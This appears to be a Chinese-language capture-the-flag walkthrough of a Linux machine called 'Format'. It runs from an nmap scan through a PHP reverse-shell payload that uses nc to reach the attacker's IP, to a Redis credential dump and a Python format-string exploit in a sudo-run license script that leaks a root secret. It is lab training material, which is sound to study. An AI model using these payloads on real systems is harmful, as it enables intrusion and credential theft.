Format
Format
Machine:Linux
Level:Medium
信息收集
Nmap
└─# nmap -sV -sC -A 10.10.11.213
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-22 02:14 GMT
Nmap scan report for app.microblog.htb (10.10.11.213)
Host is up (0.21s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
| 256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_ 256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Microblog
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
8000/tcp open http-alt?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/22%OT=22%CT=1%CU=30676%PV=Y%DS=2%DC=T%G=Y%TM=64E41A8
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11
OS:NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE8
OS:8%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53
OS:CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI
OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 255.54 ms 10.10.14.1
2 255.65 ms app.microblog.htb (10.10.11.213)
手工验证信息
80
访问网页是个博客搭建网页,注册登录可以自定义二级域名,Edit site
可以自己编写网页同时存在XSS
但没什么用,同时发现有回显。
3000
该站点是一个git
服务,上面托管了microblog
的代码,对代码审计发现发送的请求是可以在id
的路径文件上写入txt
文件内容。我们尝试可以尝试写入反向shell
。
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = \"blog-text\">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
但在写入反向shell
之前我们需要将自己的域名升级成为Pro
,这样我们才能写入有效的反向shell
。
function provisionProUser()
{
if (isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
function isPro()
{
if (isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
8000
无法访问
反弹shell
这里使用Unix域套接字
的方法把子域名赋为Pro
curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:aaa%20pro%20true%20a/b"
将反向shell
写入/var/www/microblog/aaa/uploads/*.php
,监听并访问相应网站便可
id=/var/www/microblog/aaa/uploads/reshell.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.14+1234+>/tmp/f")%3b%3f>
虽然获得了webshell
,但我们还需要获得用户的shell
nc -lnvp 1234
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("bash")'
export TERM=xterm-256color
www-data@format:~/microblog/aaa/uploads$
权限提升
copper
查看当前线程,发现redis
,通过套接字连接并在其中找到了账密,通过ssh
登录账号。
www-data@format:/home/cooper$ netstat -l
...
unix 2 [ ACC ] STREAM LISTENING 13347 /var/run/redis/redis.sock
unix 2 [ ACC ] STREAM LISTENING 13362 /run/php/php7.4-fpm.sock
$ redis-cli -s /run/redis/redis.sock
KEYS *
aaa
cooper.dooper:sites
PHPREDIS_SESSION:gu0iqhfli7ea81ffiv3oof1vem
aaa:sites
cooper.dooper
TYPE cooper.dooper
hash
HGETALL cooper.dooper
username
cooper.dooper
password
[delete]
root
查看自己能执行root
权限的文件
cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
审计代码得到当执行该脚本时,会使用unix域套接字
连接Redis
获取我们指定user
表的所有字段和值并通过格式化字符串形成license_key
并输出。由于username
和firstlast
是我们可以控制的且license_key
由变量自由拼接,所以这个地方存在格式化字符串漏洞。
...
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
...
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
...
我们将恶意的数据数据写进Redis
由于license.license
可能会跟我们的密码混在一起,所以我们将代码写在last-name
并通过first-name
给我们指明密码。
cooper@format:~$ redis-cli -s /run/redis/redis.sock
redis /run/redis/redis.sock> HMSET key first-name Thisisrootkey: last-name "{license.__init__.__globals__[secret]}" username root
OK
redis /run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p key
Plaintext license key:
------------------------------------------------------
microblogroot$$>y:Y7#uh^#H1"Gt[Sx([P7HVu|x17?m'];7h#AThisisrootkey:[delete]
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABk5FnNf6E_pj1R9Y3d-fzhkJhoRvAjsk7WjkHfHG1zSWM6vXv9dpkT5yUrtc8pYJ21PqoHEAkaf1rg-wJbbTSVuIawgFXox_N7HKaEBzSNZyi2h4dL9Mlxs6yH4VCjCWISHBTskc8U9aVjRMmjVf4i-B6wwiZudHWxiYdosyTW0ihhgD-jxL-wc8n9d-agiOxhtEM_
得到密码就可以直接登录root
了。
└─# ssh root@10.10.11.213
root@10.10.11.213's password:
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)